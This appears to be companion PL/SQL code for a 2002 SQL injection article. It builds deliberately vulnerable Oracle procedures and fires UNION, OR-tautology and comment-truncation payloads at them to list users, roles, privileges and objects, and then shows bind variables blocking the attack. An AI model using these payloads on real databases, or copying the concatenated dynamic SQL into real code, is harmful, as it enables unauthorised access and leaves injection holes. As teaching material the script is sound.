--
-- sqlinject.sql
-- Pete Finnigan 
-- 15-nov-2002
--
-- example code for the SQL injection article for www.securityfocus.com
--
set serveroutput on size 1000000

spool sqlinject.lis

--
-- use a default user dbsnmp, of course any other user can be used, this user
-- is used here for simplicity to avoid creating a user. In a production system
-- first of all do not run tests like this one and do not use DBSNMP.
--
--connect dbsnmp/dbsnmp

--
-- create a sample table to use in the examples
-- 

drop table customers;
create table customers
(
	customer_forname	varchar2(30),
	customer_surname	varchar2(30),
	customer_phone		varchar2(30),
	customer_fax		varchar2(30),
	customer_type		number(10)
)
tablespace users;

--
-- insert three records to test with
--

insert into customers
(
	customer_forname,
	customer_surname,
	customer_phone,
	customer_fax,
	customer_type
)
values
(
	'Fred',
	'Clark',
	'999444888',
	'999444889',
	3
)
/

insert into customers
(
	customer_forname,
	customer_surname,
	customer_phone,
	customer_fax,
	customer_type
)
values
(
	'Bill',
	'Jones',
	'999555888',
	'999555889',
	2
)
/

insert into customers
(
	customer_forname,
	customer_surname,
	customer_phone,
	customer_fax,
	customer_type
)
values
(
	'Jim',
	'Clark',
	'999777888',
	'999777889',
	1
)
/

--
-- create a sample PL/SQL procedure to SQL Inject
--

create or replace procedure get_cust (pv_surname in varchar2)
is
	type cv_typ is ref cursor;
	cv cv_typ;
	lv_phone	customers.customer_phone%type;
	lv_stmt		varchar2(32767):='select customer_phone'||
			' from customers '||
			'where customer_surname='''||
			pv_surname||'''';
begin
	dbms_output.put_line('debug:'||lv_stmt);
	open cv for lv_stmt;
	loop
		fetch cv into lv_phone;
		exit when cv%notfound;
		dbms_output.put_line('::'||lv_phone);
	end loop;
	close cv;
exception
	when others then
		dbms_output.put_line(sqlcode||sqlerrm);
end get_cust;
/
sho err

--
-- run the first test to see if a second SQL statement can simply be added to
-- the first.
--

exec get_cust('x'' select username from all_users where ''x''=''x');

--
-- try adding a ";" to delimit two SQL statements
--

exec get_cust('x'';select username from all_users where ''x''=''x');

--
-- now try a UNION, this should work
--

exec get_cust('x'' union select username from all_users where ''x''=''x');

--
-- try using a sub select to prove that it works
--

exec get_cust('x'' or exists (select 1 from sys.dual) and ''x''=''x');

--
-- now add an "or" to show how existing SQL statements can be truncated to return
-- all of the records in a table - this is usefull for tricking application authentication.
--

exec get_cust('x'' or ''x''=''x');

--
-- modify the procedure to extend the dynamic SQL so that we can show how to truncate
-- additional parts of a "where clause".
--

create or replace procedure get_cust2 (lv_surname in varchar2)
is
	type cv_typ is ref cursor;
	cv cv_typ;
	lv_phone	customers.customer_phone%type;
	lv_stmt		varchar2(32767):='select customer_phone '||
				'from customers '||
				'where customer_surname='''||
				lv_surname||''' and customer_type=1';
begin
	dbms_output.put_line('debug:'||lv_stmt);
	open cv for lv_stmt;
	loop
		fetch cv into lv_phone;
		exit when cv%notfound;
		dbms_output.put_line('::'||lv_phone);
	end loop;
	close cv;
exception
	when others then
		dbms_output.put_line(sqlcode||sqlerrm);
end get_cust2;
/

--
-- demonstration of using "--" comment characters to truncate a "where clause".
--

exec get_cust2('x'' or ''x''=''x'' --');

--
-- SQL to find all of the PL/SQL in the database
--

col owner for a15
col object_type for a30
col object_name for a30
select owner,object_type,object_name
from dba_objects
where object_type in('PACKAGE','FUNCTION','PROCEDURE');

--
-- demonstration of calling a "built in" PL/SQL procedure
--

exec get_cust('x'' union select sys.login_user from sys.dual where ''x''=''x');

--
-- demonstration of getting data from a second database using a database link.
-- This won't work on your system unless by some strange coincidence you have
-- a database link with the same name as mine. Change the link name to one
-- that exists in your database.
--

exec get_cust('x'' union select to_char(sysdate) from sys.dual@plsq where ''x''=''x');

--
-- modify the get_cust procedure to select three columns so that we can demonstrate 
-- how to get configuration data from the database.
--

create or replace procedure get_cust (pv_surname in varchar2)
is
	type cv_typ is ref cursor;
	cv cv_typ;
	lv_phone	customers.customer_phone%type;
	lv_forname	customers.customer_forname%type;
	lv_surname	customers.customer_surname%type;
	lv_stmt		varchar2(32767):='select customer_phone'||
			',customer_forname,customer_surname '||
			'from customers '||
			'where customer_surname='''||
			pv_surname||'''';
begin
	dbms_output.put_line('debug:'||lv_stmt);
	open cv for lv_stmt;
	loop
		fetch cv into lv_phone,lv_forname,lv_surname;
		exit when cv%notfound;
		dbms_output.put_line('::'||lv_phone||':'||lv_forname||':'||lv_surname);
	end loop;
	close cv;
exception
	when others then
		dbms_output.put_line(sqlcode||sqlerrm);
end get_cust;
/
sho err

--
-- sho that an error is returned if incorrect column types or an incorrect
-- number of columns is sent as part of a union statement
--


exec get_cust('x'' union select 1,''Y'' from sys.dual where ''x''=''x');

--
-- get all of the objects the user we are logged in as has been granted 
-- specific access to.
--

exec get_cust('x'' union select object_name,object_type,''x'' from user_objects where ''x''=''x');

--
-- get directly granted roles to this user.
--

exec get_cust('x'' union select granted_role,admin_option,default_role from user_role_privs where ''x''=''x');

--
-- get directly granted system privileges
--

exec get_cust('x'' union select privilege,admin_option,''X'' from user_sys_privs where ''x''=''x');

--
-- query to get all objects and their types that this user can see.
--

select count(*),object_type,owner
from all_objects
group by object_type,owner    
/

--
-- modify the procedure to use bind variables to demonstarte that they can
-- be used to protect against SQL Injection.
--

create or replace procedure get_cust_bind (lv_surname in varchar2)
is
	type cv_typ is ref cursor;
	cv cv_typ;
	lv_phone	customers.customer_phone%type;
	lv_stmt		varchar2(32767):='select customer_phone '||
				'from customers '||
				'where customer_surname=:surname';
begin
	dbms_output.put_line('debug:'||lv_stmt);
	open cv for lv_stmt using lv_surname;
	loop
		fetch cv into lv_phone;
		exit when cv%notfound;
		dbms_output.put_line('::'||lv_phone);
	end loop;
	close cv;
exception
	when others then
		dbms_output.put_line(sqlcode||sqlerrm);
end get_cust_bind;
/
sho err

--
-- demonstrate binds
--

exec get_cust_bind('Clark');

exec get_cust_bind('x'' union select username from all_users where ''x''=''x');


spool off